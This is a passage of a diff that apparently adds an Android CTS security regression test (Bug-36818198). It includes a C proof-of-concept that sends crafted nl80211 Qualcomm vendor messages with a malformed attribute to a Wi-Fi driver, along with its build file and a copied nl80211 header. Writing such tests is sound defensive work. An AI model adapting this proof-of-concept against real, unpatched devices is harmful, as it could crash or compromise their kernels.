+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,
+
+ /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,
+
+ /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
+};
+
+enum qca_nl80211_vendor_subcmds {
+ QCA_NL80211_VENDOR_SUBCMD_UNSPEC = 0,
+ QCA_NL80211_VENDOR_SUBCMD_TEST = 1,
+ /* subcmds 2..8 not yet allocated */
+ QCA_NL80211_VENDOR_SUBCMD_ROAMING = 9,
+ QCA_NL80211_VENDOR_SUBCMD_AVOID_FREQUENCY = 10,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY = 11,
+ QCA_NL80211_VENDOR_SUBCMD_NAN = 12,
+ QCA_NL80211_VENDOR_SUBCMD_STATS_EXT = 13,
+ /* subcommands for link layer statistics start here */
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_SET = 14,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_GET = 15,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_CLR = 16,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_RADIO_RESULTS = 17,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_IFACE_RESULTS = 18,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_PEERS_RESULTS = 19,
+ /* subcommands for extscan start here */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START = 20,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_STOP = 21,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS = 22,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CAPABILITIES = 23,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS = 24,
+ /* Used when report_threshold is reached in scan cache. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE = 25,
+ /* Used to report scan results when each probe rsp. is received,
+ * if report_events enabled in wifi_scan_cmd_params.
+ */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT = 26,
+ /* Indicates progress of scanning state-machine. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT = 27,
+ /* Indicates BSSID Hotlist. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND = 28,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST = 29,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_BSSID_HOTLIST = 30,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE = 31,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE = 32,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE = 33,
+ /* EXT TDLS */
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_ENABLE = 34,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_DISABLE = 35,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_STATUS = 36,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_STATE = 37,
+ /* Get supported features */
+ QCA_NL80211_VENDOR_SUBCMD_GET_SUPPORTED_FEATURES = 38,
+
+ /* Set scanning_mac_oui */
+ QCA_NL80211_VENDOR_SUBCMD_SCANNING_MAC_OUI = 39,
+ /* Set nodfs_flag */
+ QCA_NL80211_VENDOR_SUBCMD_NO_DFS_FLAG = 40,
+
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST = 41,
+
+ /* Get Concurrency Matrix */
+ QCA_NL80211_VENDOR_SUBCMD_GET_CONCURRENCY_MATRIX = 42,
+
+ /* Get the security keys for key management offload */
+ QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_SET_KEY = 50,
+
+ /* Send the roaming and authentication info after roaming */
+ QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_ROAM_AUTH = 51,
+
+ QCA_NL80211_VENDOR_SUBCMD_APFIND = 52,
+
+ /* Deprecated */
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_SCHED = 53,
+
+ QCA_NL80211_VENDOR_SUBCMD_DO_ACS = 54,
+
+ /* Get the supported features by the driver */
+ QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES = 55,
+
+ /* Off loaded DFS events */
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_STARTED = 56,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_FINISHED = 57,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_ABORTED = 58,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_NOP_FINISHED = 59,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_RADAR_DETECTED = 60,
+
+ /* Get Wifi Specific Info */
+ QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_INFO = 61,
+ /* Start Wifi Logger */
+ QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_START = 62,
+ /* Start Wifi Memory Dump */
+ QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP = 63,
+ QCA_NL80211_VENDOR_SUBCMD_ROAM = 64,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST = 65,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SSID_HOTLIST = 66,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND = 67,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST = 68,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST = 69,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST = 70,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_RESET_PASSPOINT_LIST = 71,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_NETWORK_FOUND = 72,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_PASSPOINT_NETWORK_FOUND = 73,
+
+ /* Wi-Fi Configuration subcommands */
+ QCA_NL80211_VENDOR_SUBCMD_SET_WIFI_CONFIGURATION = 74,
+ QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_CONFIGURATION = 75,
+
+ QCA_NL80211_VENDOR_SUBCMD_GET_LOGGER_FEATURE_SET = 76,
+ QCA_NL80211_VENDOR_SUBCMD_GET_RING_DATA = 77,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_CAPABILITIES = 78,
+
+ QCA_NL80211_VENDOR_SUBCMD_OFFLOADED_PACKETS = 79,
+ QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI = 80,
+ QCA_NL80211_VENDOR_SUBCMD_NDP = 81,
+
+ /* NS Offload enable/disable cmd */
+ QCA_NL80211_VENDOR_SUBCMD_ND_OFFLOAD = 82,
+
+ QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER = 83,
+ QCA_NL80211_VENDOR_SUBCMD_GET_BUS_SIZE = 84,
+
+ QCA_NL80211_VENDOR_SUBCMD_GET_WAKE_REASON_STATS = 85,
+
+ /* OCB commands */
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_CONFIG = 92,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_UTC_TIME = 93,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_START_TIMING_ADVERT = 94,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_STOP_TIMING_ADVERT = 95,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_GET_TSF_TIMER = 96,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_GET_STATS = 97,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_CLEAR_STATS = 98,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_UPDATE_NDL = 99,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_STATS_EVENT = 100,
+
+ /* subcommand to get link properties */
+ QCA_NL80211_VENDOR_SUBCMD_LINK_PROPERTIES = 101,
+ QCA_NL80211_VENDOR_SUBCMD_SETBAND = 105,
+ QCA_NL80211_VENDOR_SUBCMD_SET_SAP_CONFIG = 118,
+};
+
+enum qca_wlan_vendor_attr {
+ QCA_WLAN_VENDOR_ATTR_INVALID = 0,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY */
+ QCA_WLAN_VENDOR_ATTR_DFS = 1,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_NAN */
+ QCA_WLAN_VENDOR_ATTR_NAN = 2,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
+ QCA_WLAN_VENDOR_ATTR_STATS_EXT = 3,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
+ QCA_WLAN_VENDOR_ATTR_IFINDEX = 4,
+
+ /* used by QCA_NL80211_VENDOR_SUBCMD_ROAMING */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_POLICY = 5,
+ QCA_WLAN_VENDOR_ATTR_MAC_ADDR = 6,
+
+ /* used by QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES */
+ QCA_WLAN_VENDOR_ATTR_FEATURE_FLAGS = 7,
+
+ /* Unsigned 32-bit value from enum qca_set_band */
+ QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE = 12,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_MAX = QCA_WLAN_VENDOR_ATTR_AFTER_LAST - 1
+};
+
+#define NETLINK_KERNEL_SOCKET 0x1
+#define NETLINK_RECV_PKTINFO 0x2
+#define NETLINK_BROADCAST_SEND_ERROR 0x4
+#define NETLINK_RECV_NO_ENOBUFS 0x8
+
+#define NLMSG_MIN_TYPE 0x10
+
+#define GENL_ID_GENERATE 0
+#define GENL_ID_CTRL NLMSG_MIN_TYPE
+#define GENL_ID_VFS_DQUOT (NLMSG_MIN_TYPE + 1)
+#define GENL_ID_PMCRAID (NLMSG_MIN_TYPE + 2)
+
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+#define QCA_NL80211_VENDOR_ID 0x001374
+
+#define MAX_MSG_SIZE 1024
+
+struct msgtemplate {
+ struct nlmsghdr n;
+ struct genlmsghdr g;
+ char buf[MAX_MSG_SIZE];
+};
+
+enum qca_wlan_vendor_attr_ndp_params {
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAM_INVALID = 0,
+ QCA_WLAN_VENDOR_ATTR_NDP_SUBCMD,
+ QCA_WLAN_VENDOR_ATTR_NDP_TRANSACTION_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_SERVICE_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_CHANNEL,
+ QCA_WLAN_VENDOR_ATTR_NDP_PEER_DISCOVERY_MAC_ADDR,
+ QCA_WLAN_VENDOR_ATTR_NDP_IFACE_STR,
+ QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_SECURITY,
+ QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_QOS,
+ QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO_LEN,
+ QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO,
+ QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_NUM_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_NDP_RESPONSE_CODE,
+ QCA_WLAN_VENDOR_ATTR_NDP_SCHEDULE_STATUS_CODE,
+ QCA_WLAN_VENDOR_ATTR_NDP_NDI_MAC_ADDR,
+ QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_TYPE,
+ QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_VALUE,
+
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_MAX =
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_dcc_update_ndl {
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_INVALID = 0,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_COUNT,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_ACTIVE_STATE_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_MAX =
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST - 1,
+};
+
+#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
+#define PARAM_REQUEST_ID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
+#define PARAM_BASE_PERIOD \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
+#define PARAM_MAX_AP_PER_SCAN \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN
+#define PARAM_RPT_THRHLD_PERCENT \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
+#define PARAM_RPT_THRHLD_NUM_SCANS \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS
+#define PARAM_NUM_BUCKETS \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
+#define PARAM_CONFIG_FLAGS QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS
+
+static int send_cmd(int sd, __u16 nlmsg_type, __u32 nlmsg_pid, __u8 genl_cmd,
+ __u16 nla_type, void *nla_data, int nla_len) {
+ struct nlattr *na;
+ struct sockaddr_nl nladdr;
+ int r, buflen;
+ char *buf;
+
+ struct msgtemplate msg;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = nlmsg_type;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = nlmsg_pid;
+ msg.g.cmd = genl_cmd;
+ msg.g.version = 0x1;
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = nla_type;
+ na->nla_len = nla_len + 1 + NLA_HDRLEN;
+ memcpy(NLA_DATA(na), nla_data, nla_len);
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+
+ if (buflen !=
+ sendto(sd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr))) {
+ return -1;
+ }
+
+ return 0;
+}
+
+static int get_family_id(int sd) {
+ int id = 0, rc;
+ struct nlattr *na;
+ int rep_len;
+ struct msgtemplate ans;
+
+ memset(&ans, 0, sizeof(struct msgtemplate));
+
+ rc = send_cmd(sd, GENL_ID_CTRL, getpid(), CTRL_CMD_GETFAMILY,
+ CTRL_ATTR_FAMILY_NAME, (void *)NL80211_GENL_NAME,
+ strlen(NL80211_GENL_NAME) + 1);
+ if (rc < 0) {
+ return 0; /* sendto() failure? */
+ }
+
+ rep_len = recv(sd, &ans, sizeof(ans), 0);
+ if (rep_len < 0) {
+ return -1;
+ }
+
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
+ id = *(__u16 *)NLA_DATA(na);
+ }
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ return id;
+}
+
+int start_p2p(int id, int fd) {
+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen, ret;
+ char *buf;
+ struct msgtemplate msg, ans;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_START_P2P_DEVICE;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_WIPHY;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = 0;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = 24;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ ret = recv(fd, &ans, sizeof(ans), 0);
+
+ return ret;
+}
+
+unsigned if_nametoindex(const char *ifname) {
+ int s = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
+ if (s == -1) return 0;
+ int ret = 0;
+ struct ifreq ifr;
+
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
+ ifr.ifr_name[IFNAMSIZ - 1] = 0;
+
+ ret = ioctl(s, SIOCGIFINDEX, &ifr);
+ close(s);
+ return (ret == -1) ? 0 : ifr.ifr_ifindex;
+}
+
+int get_wiphy_idx(int id, int fd, int *ifindex, int *wiphyid, char *ifname) {
+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen, ret;
+ char *buf;
+ struct msgtemplate msg, ans;
+
+ int if_index = if_nametoindex("wlan0");
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_GET_INTERFACE;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = if_index;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ memset(&ans, 0, sizeof(ans));
+ ret = recv(fd, &ans, sizeof(ans), 0);
+
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ *ifindex = *(u32 *)NLA_DATA(na);
+
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ strcpy(ifname, NLA_DATA(na));
+
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ *wiphyid = *(u32 *)NLA_DATA(na);
+
+ return ret;
+}
+
+int main(int argc, const char *argv[]) {
+ int ret;
+
+ int fd;
+ struct sockaddr_nl local;
+ struct msgtemplate ans;
+
+ fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
+ if (fd < 0) return -1;
+
+ memset(&local, 0, sizeof(local));
+ local.nl_family = AF_NETLINK;
+
+ if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
+ return -1;
+ }
+
+ int id = get_family_id(fd);
+
+ int ifindex, wiphyid;
+ char ifname[64];
+ get_wiphy_idx(id, fd, &ifindex, &wiphyid, ifname);
+
+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen;
+ char *buf;
+ struct msgtemplate msg;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ msg.n.nlmsg_seq = time(0);
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_VENDOR;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_VENDOR_ID;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_ID;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_VENDOR_SUBCMD;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = ifindex;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ char data[1024] = {0};
+ int data_size = 0;
+ na_data = data;
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND;
+ na_data->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = 1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS;
+ na_data->nla_len = 0 + NLA_HDRLEN;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_VENDOR_DATA;
+ na->nla_len = data_size + NLA_HDRLEN;
+ memcpy(NLA_DATA(na), data, data_size);
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ memset(&ans, 0, sizeof(ans));
+
+ ret = recv(fd, &ans, sizeof(ans), 0);
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ char *temp = na;
+
+ struct nlattr *nla;
+ int rem;
+ nla_for_each_attr(nla, na, ret - 20, rem) {
+ if (nla->nla_type == NL80211_ATTR_VENDOR_DATA) {
+ struct nlattr *nla0;
+ int rem0;
+ nla_for_each_attr(nla0, NLA_DATA(nla), nla->nla_len, rem0) {
+ break;
+ }
+ }
+ }
+ return ret;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
new file mode 100644
index 0000000..b34f64e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36818198
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/local_poc.h b/hostsidetests/security/securityPatch/Bug-36818198/local_poc.h
new file mode 100644
index 0000000..5eb6662
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36818198/local_poc.h
@@ -0,0 +1,4403 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __LINUX_NL80211_H
+#define __LINUX_NL80211_H
+/*
+ * 802.11 netlink interface public header
+ *
+ * Copyright 2006-2010 Johannes Berg <johannes@sipsolutions.net>
+ * Copyright 2008 Michael Wu <flamingice@sourmilk.net>
+ * Copyright 2008 Luis Carlos Cobo <luisca@cozybit.com>
+ * Copyright 2008 Michael Buesch <m@bues.ch>
+ * Copyright 2008, 2009 Luis R. Rodriguez <lrodriguez@atheros.com>
+ * Copyright 2008 Jouni Malinen <jouni.malinen@atheros.com>
+ * Copyright 2008 Colin McCabe <colin@cozybit.com>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/types.h>
+
